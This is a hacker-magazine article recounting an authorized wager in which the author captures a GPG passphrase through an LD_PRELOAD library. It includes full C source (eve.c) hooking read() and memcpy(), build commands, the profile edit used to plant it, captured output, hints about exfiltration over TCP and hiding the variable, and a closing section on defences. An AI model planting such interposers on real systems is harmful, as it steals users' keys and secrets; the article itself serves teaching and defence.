Eavesdropping with LD_PRELOAD

by phundie  (phundie@yahoo.com)

Recently, a Linux sysadmin that I'm acquainted with boasted proudly to me about the security mechanisms on one of his servers.

He had established a tuned SELinux policy, created a custom tripwire system, and configured his logs to be published live over a serial connection to a standalone machine.

All of this was to guard his GNU Privacy Guard signatory machine.

This machine runs a front-end to GPG, allowing users to log on and send up files for signing.  The keys and the GPG software all reside on the server, far from the dubious confines of the users' Windows desktops.  The signed files are then automatically transferred to a fileserver and made public.

He agreed that it would be possible, with some effort, to obtain a user's password to the system: maybe it's the same as their desktop password, or maybe it's their dog's name.  But he maintained that his keys were safe: they were encrypted on disk, and each user had been assigned a strong passphrase to the keys.

I mentioned the possibility of a subverted GPG.

Immediately, almost with satisfaction, he reminded me of the tripwires.  And, of course, he pointed out, you'd need root.  Or do you?

So I made a friendly wager: Friday night drinks were on the loser.  I bet that I could get a GPG key, with passphrase, out of his system.  So, he gave me the password to the testing account on his dev box and let me have at it.  Obviously, I wouldn't be writing this article if I had ended up buying the Guinness...

Certainly, to change the GPG binary on disk, one would need root access.  The front-end program has its GPG path hard-coded, so inserting something at the head of the PATH variable won't work.  But there is another environment variable which will help: LD_PRELOAD

LD_PRELOAD tells the dynamic linker to overload a shared library.

When a program is run, the linker tries to link any required functions to the LD_PRELOAD library before searching elsewhere.

In other words, we can hijack any dynamically-loaded function, in user-space, with no special privileges.  This mechanism is profoundly useful.

It can be used to introduce timing and statistical profiling function wrappers without needing to recompile.1

It can be used to provide a measure of compatibility between different implementations of a library.  I've used it to defeat time-locked demo-program protection.2

It is also useful as a tool for reverse engineering.3

Here, we use it to steal secret bits.

For those not familiar with Linux, C, and certain features of the linker, this may seem like an arcane attack - but it isn't.  This is really no more than an elementary C programming exercise, as we will see.

A quick look at passphrase.c from the GPG distribution gives us the function: read_passphrase_from_fd()

We can't hijack this function directly, because it is statically linked into GPG, but we can yank the rug out from under it:

void
read_passphrase_from_fd( int fd )
{
  int i, len;
  char *pw;

  if (! gnupg_fd_valid (fd))
    log_fatal ("passphrase-fd is invalid: %s\n", strerror (errno));

  if ( !opt.batch && opt.pinentry_mode != PINENTRY_MODE_LOOPBACK)
    { /* Not used but we have to do a dummy read, so that it won't end
         up at the begin of the message if the quite usual trick to
         prepend the passphtrase to the message is used. */
      char buf[1];

      while (!(read (fd, buf, 1) != 1 || *buf == '\n' ))
        ;
      *buf = 0;
      return;
    }

  for (pw = NULL, i = len = 100; ; i++ )
    {
      if (i >= len-1 )
        {
          char *pw2 = pw;
          len += 100;
          pw = xmalloc_secure( len );
          if( pw2 )
            {
              memcpy(pw, pw2, i );
              xfree (pw2);
            }
          else
            i=0;
	}
      if (read( fd, pw+i, 1) != 1 || pw[i] == '\n' )
        break;
    }
  pw[i] = 0;
  if (!opt.batch && opt.pinentry_mode != PINENTRY_MODE_LOOPBACK)
    tty_printf("\b\b\b   \n" );

  xfree ( fd_passwd );
  fd_passwd = pw;
}

Looking at this function, we can clearly see that our best targets are read() and memcpy().

If we can successfully hijack these functions, we can peer into a great deal of the inner workings of a GPG process.

I offer a simple program, eve.c, which overloads read() and memcpy().

When intercepting read(), Eve performs the real read() and tucks a copy of the read data away.

When performing the memcpy(), we dump the source and destination contents along with the length prior to the copy, so that we can see the old data that is being overwritten, as well as the fresh data being copied.

Because I'm not operating in a hostile environment (one of the advantages of age and profession, I suppose), I don't need to worry about stealth.

I simply dump my data to STDERR and use shell redirection to capture the goods.

If I were really trying to steal the key, I'd send it over TCP, maybe using TCP sequence numbers as a covert sideband if I wanted to get fancy.

Of course, I'd also overload getenv() to force a return of NULL when trying to inspect the LD_PRELOAD variable.

I compiled eve.c to a shared object (.so) file with:

$ gcc -fPIC -c eve.c
$ ld -shared -Bsymbolic -o eve.so eve.o -lc -ldl

And uploaded eve.so to the target machine.

I then quickly edited the user profile to define LD_PRELOAD at login time.

Now, the next time that GPG is run, the user-supplied passphrase will get saved in a file for later extraction.

A partial example of eve.so's output is given below.  The supplied passphrase to GPG, phrack, is clearly visible in the output, which was generated with:

$ echo This is Plaintext | gpg -c

The plaintext is shown as well, intercepted from memcpy():

READ:
FD: 3
BUF: p
SIZE: 1
----------------
READ:
FD: 3
BUF: h
SIZE: 1
----------------
READ:
FD: 3
BUF: r
SIZE: 1
----------------
READ:
FD: 3
BUF: a
SIZE: 1
----------------
READ:
FD: 3
BUF: c
SIZE: 1
----------------
READ:
FD: 3
BUF: k
SIZE: 1
----------------
MEMCPY:
SRC: This is Plaintext

An amusing, if grim, look came over my friend's face as he realized that, for all his late hours getting this server set up, the security of the keys still relies on the user being sophisticated and well-informed.

Who'd have thought?

There are a few different ways to frustrate this attack.

The first, and perhaps the easiest, is to build static binaries.  But this isn't so great, because fixing a bug in a library would now require a recompile of dependent programs.

A better way is to be very vigilant about checking the environment at start up.  This isn't as easy as it sounds.

Not only do we have to avoid using getenv(), but we have to avoid using any dynamically-loaded functions prior to environment checking.

strncmp() is gone, for instance, because a hijacked strncmp() could scrub the environment.

Fortunately, this isn't all that bad of a situation, because not much more than strncmp() is needed, so we can write our own trusted version of it and have it available statically.

If LD_PRELOAD is configured in the calling environment, GPG should gracefully, if rudely, abort.

This would, of course, preclude overloading GPG with, say, a hardware-accelerated encryption library, but that is the price.

Shouts still go out to Sryth and Wipe0ut for years of beer and code; battles with squirrels and other sundry adventures.

References and Further Reading

  1. Debugging and Performance Tuning with Library Interposers
  2. fakedate-v1.0.tar.gz  FakeDate consists of tools and libraries for supplying a fake date, time, and alarm signals to target programs using LD_PRELOAD.  The supplied time can be constrained to a user selectable interval.
  3. Reverse Engineering with LD_PRELOAD  (TXT Version)
  4. Linux Function Interception  by Austin Godber



eve.c:

#include <stdio.h>
#define __USE_GNU 1
#include <unistd.h>
#include <dlfcn.h>

/* Typedef some function pointers for memcpy() and read() */
typedef void *(*memcpy_t)(void *dest, const void *src, size_t n);
typedef ssize_t(*read_t) (int FD, void *buf, size_t n);

/* Utility - Returns the address of the function having the name funcName */
static void *getLibraryFunction(const char *funcName)
{
  void *res;

  if ((res = dlsym(RTLD_NEXT, funcName)) == NULL) {
    fprintf(stderr, "dlsym %s error:%s\n", funcName, dlerror());
    _exit(1);
  }
  return res;
}

/* Our hi-jacked MEMCPY() stub. We dump our args to STDERR. */
void *memcpy(void *dest, const void *src, size_t n)
{
  static memcpy_t real_memcpy = NULL;

  //  fprintf(stderr,"MEMCPY:\nSRC: %s\nDST: %s\nSIZE: %d\n----------------\n", src, dest, n);
  fprintf(stderr, "MEMCPY: \nSRC: ");
  fwrite(src, n, 1, stderr);
  fprintf(stderr, "\nDST: ");
  fwrite(dest, n, 1, stderr);
  fprintf(stderr, "\nSIZE: %d\n----------------------\n", n);
  real_memcpy = getLibraryFunction("memcpy");
  return real_memcpy(dest, src, n);
}

/* Hi-jacked READ() */
ssize_t read(int FD, void *buf, size_t n)
{
  static read_t real_read = NULL;
  ssize_t i;

  real_read = getLibraryFunction("read");
  i = real_read(FD, buf, n);

  fprintf(stderr, "READ:\nFD: %d\nBUF: %s\nSIZE: %d\n-------------------\n", FD,
          buf, n);
  return i;
}

Code: eve.c

Return to $2600 Index